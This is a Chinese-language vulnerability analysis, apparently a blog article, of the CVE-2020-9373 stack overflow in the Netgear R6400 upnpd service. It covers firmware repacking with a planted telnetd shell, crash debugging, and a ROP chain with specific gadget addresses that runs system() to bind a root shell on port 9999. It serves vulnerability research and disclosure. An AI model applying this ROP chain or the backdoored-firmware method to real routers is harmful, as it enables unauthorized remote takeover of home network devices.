CVE-2020-9373栈溢出漏洞分析:存在Netgear R6400 固件版本upnpd中,向udp 1900端口发送构造的ssdp数据包,可导致DOS或RCE。
摘要:CVE-2020-9373栈溢出漏洞分析,存在Netgear R6400 固件版本upnpd中,向udp 1900端口发送构造的ssdp数据包,可导致DOS或RCE。以V1 0 1 52_1 0 36这本版本的固件包测试。
CVE-2020-9373栈溢出漏洞分析,存在Netgear R6400 固件版本upnpd中,向udp 1900端口发送构造的ssdp数据包,可导致DOS或RCE。以V1.0.1.52_1.0.36这本版本的固件包测试。
Netgear r6400
Netgear R6400是Netgear的AC1750无线路由器,具有2.4GHz和5GHz双频支持。最高带宽是1750Mbps(450+
1300Mbps)。机身具有USB 3.0接口和USB 2.0接口。
upnp协议
通用即插即用(Universal Plug and Play)是UPnP™论坛推广的一组网络协议。该协议的目标是使家庭网络中的各种设备(数据共享,通信和娱乐)和公司网络彼此无缝连接,并简化相关网络的实现。UPnP检测协议基于简单服务发现协议(SSDP)。
ssdp协议
简单服务发现协议(SSDP)是应用程序层协议,并且是构成通用即插即用(UPnP)技术的核心协议之一。简单服务发现协议提供了一种用于发现本地网络中的设备的机制。
固件分析
Binwalk解析
> binwalk R6400-V1.0.1.52_1.0.36.chkDECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------58 0x3A TRX firmware header, little endian, image size: 31977472 bytes, CRC32: 0x4BDF38B9, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x201CEC, rootfs offset: 0x086 0x56 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5173344 bytes2104614 0x201D26 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 29869289 bytes, 1645 inodes, blocksize: 131072 bytes, created: 2019-11-07 12:21:09
通过binwalk分析,固件结构比较清晰。固件由一个netgear header(0x3A字节),一个TRX header(0x1c字节)和一个Linux kerne,squashfs文件系统组成。
netgear header
第一个0x3A字节是netgear随附的header。由于打包的软件是从netgear的开源软件中找到的,因此对其进行了过多的分析,但可以清楚地看到它包含版本号,文件大小,校验码等信息。
TRX header
原理图:
0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1+---------------------------------------------------------------+| magic number ('HDR0') |+---------------------------------------------------------------+| length (header size + data) |+---------------+---------------+-------------------------------+| 32-bit CRC value |+---------------+---------------+-------------------------------+| TRX flags | TRX version |+-------------------------------+-------------------------------+| Partition offset[0] |+---------------------------------------------------------------+| Partition offset[1] |+---------------------------------------------------------------+| Partition offset[2] |+---------------------------------------------------------------
头结构定义如下:
struct trx_header { uint32_t magic; /* "HDR0" */ uint32_t len; /* Length of file including header */ uint32_t crc32; /* 32-bit CRC from flag_version to end of file */ uint32_t flag_version; /* 0:15 flags, 16:31 version */ uint32_t offsets[4]; /* Offsets of partitions from start of header */}
crc32校验是对检查值之后的所有数据进行检查,简单验证
print("0x%x" % ((~zlib.crc32(fp.read()[0x46:])) & 0xffffffff))
> python3 crc32check.py R6400-V1.0.1.52_1.0.36.chk0x4bdf38b9
发现crc检查值与先前的binwalk输出一致。
准备调试
修改固件
R6400路由器本身不提供shell交互接口。可以通过刷新第三方固件并上传upnpd来对其进行调试。有许多第三方固件刷新方法。这里使用的方法是直接修改squashfs文件并启用busybox附带的telnetd服务。由于时间有限,因此没有详细分析整个系统的启动过程,仅使用了一种简单的修改和替换/usr/sbin/dlnad的方法。
替换后dlna:
sbin/telnetd -F -l sh -p 1234 &sbin/dlnadd &
固件包装
R6400提供了部分开源代码。当然,可以通过编译来生成新固件,但是这里使用直接二进制编辑来替换原始固件中的squashf,然后更新TRXheader和netgearheader文件以节省ARM交叉编译过程。TRX需要更新crc32检查值和长度。netgearheader使用开源工具链中的packet和compatible_r6400.txt工具:
./packet -k %s -f rootfs -b compatible_r6400.txt -ok kernel -oall image -or rootfs -i ambitCfg.h
在打包squshfs有必要将压缩方法指定为xz,否则刷机可能会失败:
mksquashfs squashfs-root squashfs-root.squash -comp xz
默认情况下,生成image.chk可以刷机。
重新启动后,发现可以连接telnet 1234端口,表明刷机成功。
# telnet 192.168.1.1 1234BusyBox v1.7.2 (2019-11-07 20:19:12 CST) built-in shell (ash) Enter 'help' for a list of built-in commands.#
漏洞发现
由于该漏洞相对明显,因此可以通过二进制危险函数审核来发现由upnpd直接使用strcpy复制未过滤的数据直接处理ssdp包引起的堆栈溢出。
通过在gihub上使用upnpfuzz工具发现了问题(发送第二个软件包以生成crash)。该协议本身相对简单。测试脚本可以自己开发。当然,也可以使用诸如sulley peach之类的开源框架来快速实现它。作者还对dnsmasq和web进行了fuzz测试。但是,由于时间和水平的限制,没有获得任何结果。
使用gdb进行调试可以看到该程序已产生Segmentation fault:
# cd /tmp# tftp 192.168.1.2 -l gdb -r gdb -g octet# chmod +x gdb# ps |grep upnpd10936 admin 2400 S upnpd12580 admin 1316 R grep upnpd#./gdb --pid=10936GNU gdb (GDB) 7.11Copyright (C) 2016 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying"and "show warranty" for details. This GDB was configured as "arm-linux-gnueabi". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word". Attaching to process 15409Reading symbols from /usr/sbin/upnpd...(no debugging symbols found)...done. Reading symbols from /usr/lib/libnvram.so...(no debugging symbols found)...done. Reading symbols from /usr/lib/libacos_shared.so...(no debugging symbols found)...done. Reading symbols from /usr/lib/libnat.so...(no debugging symbols found)...done. Reading symbols from /lib/libcrypt.so.0...(no debugging symbols found)...done. Reading symbols from /lib/libgcc_s.so.1...(no debugging symbols found)...done. Reading symbols from /lib/libc.so.0...(no debugging symbols found)...done. Reading symbols from /lib/libm.so.0...(no debugging symbols found)...done. Reading symbols from /lib/ld-uClibc.so.0...(no debugging symbols found)...done.0x4011f4cc in select () from /lib/libc.so.0(gdb)c Continuing. Program received signal SIGSEGV, Segmentation fault.0x401e3954 in strstr () from /lib/libc.so.0(gdb) backtrace#0 0x401e3954 in strstr () from /lib/libc.so.0#1 0x0000b820 in ?? ()Backtrace stopped: previous frame identical to this frame (corrupt stack?) (gdb)i r r0 0x41414141 1094795585r1 0xbeeefcc4 3203333316r2 0xbeeefcc4 3203333316r3 0x41414141 1094795585r4 0x41 65r5 0xbeeefcc0 3203333312r6 0xbeeefcc4 3203333316r7 0xbeeefcc0 3203333312r8 0xbeeefcc4 3203333316r9 0x30a 778r10 0x1 1r11 0xb8f7c 757628r12 0x4c7ac 313260sp 0xbeeef678 0xbeeef678lr 0xb820 47136pc 0x401e3954 0x401e3954 <strstr+24>
cpsr 0x20000010 536870928
使用ida追溯sub_b820函数,并发现sub_22270的strcpy中可能存在该漏洞:
text:00022270.text:00022270 STMFD SP!, {R4-R11,LR} .text:00022274 SUB SP, SP, .text:00022278 SUB SP, SP, .text:0002227C MOV R5, R2 .text:00022280 ADD R3, SP, .text:00022284 MOV R2, .text:00022288 STRH R2, [R3,.text:0002228C MOV R4, R0 .text:00022290 LDR R3, =dword_885DC .text:00022294 MOV R6, R1 .text:00022298 LDR R3, [R3] .text:0002229C CMP R3, .text:000222A0 MOVEQ R0, .text:000222A4 BEQ loc_22364 .text:000222A8 ADD R3, SP, .text:000222AC ADD R7, SP, .text:000222B0 SUB R3, R3, .text:000222B4 ADD R8, SP, .text:000222B8 STR R3, [R7,.text:000222BC MOV R1, R4 ; src .text:000222C0 MOV R0, R3 ; dest .text:000222** ADD R8, R8, .text:000222C8 BL strcpy.text:000222CC MOV R0, R7 .text:000222D0 MOV R1, R8 .text:000222D4 BL sub_B800 .text:000222D8 SUBS R10, R0, .text:000222DC BEQ loc_22360 ; jumptable 00022424 default case.text:000222E0 LDR R1, =aMSearch ; "M-SEARCH".text:000222E4 BL strstr.text:000
通过在sub_22270函数下的断点处继续调试,发现该漏洞确实存在于此。因为考虑到长度,直接复制r1指向的数据以覆盖r0指向的地址,所以更改了r7指向的值(也存储在堆栈中),然后将r7指向的值分配给使用r0作为地址值的r0(已被0×41414141覆盖),将r0当作地址取值是因无法读取数据产生Segmentation fault。
漏洞利用
地址随机化
每次随机加载库地址和堆栈地址,都有一些规则,并且upnpd的地址是恒定的。地址随机化的bypass思路是构建ROP,需要解决以下两个问题。
字符串截断
upnpd文件很小,并且最大的地址空间还包含至少一个0×00。字符串截断不能多次跳转。总体思路是从加密的shellcode中删除0×00,以防止被截断。在这里使用一种相对简单的方法。 因为strcpy会将参数压栈(ARM是先存寄存器,但指向的buf仍存储在内存空间中)。由于网络中接收到的二进制流没有截断,因此发送的完整数据必须存在于内存空间中。可以先使用一个跳pop栈数据,以便堆栈地址恰好在构造数据的位置,然后可以使用传统的ROP,而不受0×00的影响。
在内存中查找未截断的数据:
(gdb) x/20x 0xbed442e8 0xbed442e8: 0x41414141 0x41414141 0x41414141 0x41414141 0xbed442f8: 0x41414141 0x41414141 0x41414141 0x41414141 0xbed44308: 0x41414141 0x41414141 0x41414141 0x41414141 0xbed44318: 0x41414141 0x42004200 0x42004200 0x00000000
r7地址可读
如果r7地址不可读,则会在返回之前发生Segmentation fault,导致程序退出,仅达到DOS效果,并且无法执行命令。以前也存在随机化和截断问题。作者未能很好地解决这个问题。考虑到libc的每个加载地址都有一些规律性,它们都为0x401XX4cc。经过几次尝试,将r7的值设置为0x401004cc可以基本满足要求,但是仍然存在失败的可能性,例如upnpd多次异常重启后,libc地址将变为0x402XX4cc。
(gdb) x/10x 0x40100cc0x401bd25c <select+12>: 0xe3700a01 0xe1a04000 0x9a000003 0xe26440000x401bd26c <select+28>: 0xebfff099 0xe5804000 0xe3e04000 0xe1a000040x401bd27c <select+44>: 0xe8bd8098 0xe3a02000
rop构造
解决了上述问题后,构建ROP是一项机械操作。您可以使用pwntools或ROPgadget构造它。作者使用的代码如下:
//pop栈内容,使栈地址触及send的数据.text:00019124 ADD SP, SP, .text:00019128 ADD SP, SP, .text:0001912C LDMFD SP!, {R4-R11,PC}//将需要执行的命令地址赋给r0.text:0000CEE4 MOV R0, R4 ; s .text:0000CEE8 MOV R1, .text:0000CEEC MOV R2, R5 ; n .text:0000CEF0 BL memset.text:0000CEF4 MOV R0, R4 ; dest .text:0000CEF8 MOV R1, SP ; src .text:0000CEFC BL strcpy.text:0000CF00 ADD SP, SP, .text:0000CF04 LDMFD SP!, {R4-R6,PC}//执行system.text:00017878 BL system .text:0001787C MOV R0,
由于无法很好地解决r7可读性问题,因此整个ROP注定是不完整的,因此在成功执行系统之后,将无法继续构建,因此还有进一步操作的空间,例如upnpd退出和重新启动。执行效果如下,可以看到telnetd已成功在端口9999上打开,并且测试可以成功连接。
10912 admin 1292 S sbin/telnetd -p 123411587 admin 1296 S sh -c telnetd -F -l sh -p 9999;11588 admin 1296 S telnetd -F -l sh -p 999912280 admin 1316 S grep telnet
总结一下
1.该漏洞从发现到开发都相对简单,适合初学者使用。随着对网络安全性的日益关注,当前的应用软件很难找到这样的漏洞。
2.使用upnp带来了便利,但是许多实现将暴露安全性问题,就易用性和安全性之间的平衡而言,此类设备还有很长的路要走建议不需要可不使用诸如upnp之类的服务。
3.作者发现同一设备NetNear WNDR3400v3也爆炸了类似的漏洞,并且CVE编号(CVE-2019-14363)已经存在。它应该是类似的代码。许多设备依靠openwrt / ddwrt进行二次开发,并且使用开放源代码软件的数量不胜举。如果要查找漏洞并提供预警,二进制同源性分析也是一个非常有价值的主题。
相关热词搜索:CVE-2020-9373 栈溢出漏洞 Netgear R6400 upnpd udp 1900 ssdp数据包 DOS RCE 重庆网络安全公司
上一篇:CVE-2019-20099跨站点请求伪造漏洞(CSRF)发现过程:Jira,连接到任何内部主机,执行内部主机和端口的扫描和检测
下一篇:CVE-2019-17016 Firefox浏览器漏洞:使用单个注入点提取CSS数据
人机验证(Captcha)绕过方法:使用Chrome开发者工具在目标网站登录页面上执行简单的元素编辑,以实现Captcha绕过
牛创网络: " 人机身份验证(Captcha)通常显示在网站的注册,登录名和密码重置页面上。 以下是目标网站在登录页面中排列的验证码机制。 从上图可以
2020-01-26 12:44:09 )8872( 亮了
自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
牛创网络: "自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
2020-01-30 14:04:47 )6288( 亮了
Grafana CVE-2020-13379漏洞分析:重定向和URL参数注入漏洞的综合利用可以在任何Grafana产品实例中实现未经授权的服务器端请求伪造攻击SSRF
牛创网络: "在Grafana产品实例中,综合利用重定向和URL参数注入漏洞可以实现未经授权的服务器端请求伪造攻击(SSRF)。该漏洞影响Grafana 3 0 1至7 0 1版本。
2020-08-12 14:26:44 )4301( 亮了
Nginx反向代理配置及反向代理泛目录,目录,全站方法
牛创网络: "使用nginx代理dan(sui)是http响应消息写入服务地址或Web绝对路径的情况。 写一个死的服务地址是很少见的,但它偶尔也会发生。 最棘手的是写入web绝对路径,特别是如果绝对路径没有公共前缀
2019-06-17 10:08:58 )3858( 亮了
fortify sca自定义代码安全扫描工具扫描规则(源代码编写、规则定义和扫描结果展示)
牛创网络: "一般安全问题(例如代码注入漏洞),当前fortify sca规则具有很多误报,可通过规则优化来减少误报。自带的扫描规则不能检测到这些问题。 需要自定义扫描规则,合规性角度展示安全风险。
2020-02-12 10:49:07 )3505( 亮了
整理几款2020年流行的漏洞扫描工具
牛创网络: "漏洞扫描器就是确保可以及时准确地检测信息平台基础架构的安全性,确保业务的平稳发展,业务的高效快速发展以及公司,企业和国家 地区的所有信息资产的维护安全。
2020-08-05 14:36:26 )2536( 亮了
微擎安装使用技巧-微擎安装的时候页面显示空白是怎么回事?
牛创网络: "我们在公众号开发中,有时候会用到微擎,那我们来看一下微擎安装的时候页面显示空白是怎么回事吧
2019-06-08 15:34:16 )2261( 亮了
渗透测试:利用前端断点拦截和JS脚本替换对前端加密数据的修改
牛创网络: " 本文介绍的两种方法,虽然断点调试比JS脚本代码替换更容易,但是JS脚本代码替换方法可以实现更强大的功能,测试人员可以根据实际需要选择适当的测试方法
2020-01-07 09:34:42 )1995( 亮了
从工业界到学界盘点SAS与R优缺点比较
牛创网络: "虽然它在业界仍然由SAS主导,但R在学术界广泛使用,因为它的免费开源属性允许用户编写和共享他们自己的应用程序 然而,由于缺乏SAS经验,许多获得数据分析学位的学生很难找到工作。
2019-07-13 22:25:29 )1842( 亮了
41款APP侵犯用户隐私权:QQ,小米,搜狐,新浪,人人均被通报
牛创网络: "随着互联网的不断发展,我们进入了一个时代,每个人都离不开手机。 但是,APP越来越侵犯了用户隐私权。12月19日,工业和信息化部发布了《关于侵犯用户权益的APP(第一批)》的通知。
2019-12-20 11:28:14 )1775( 亮了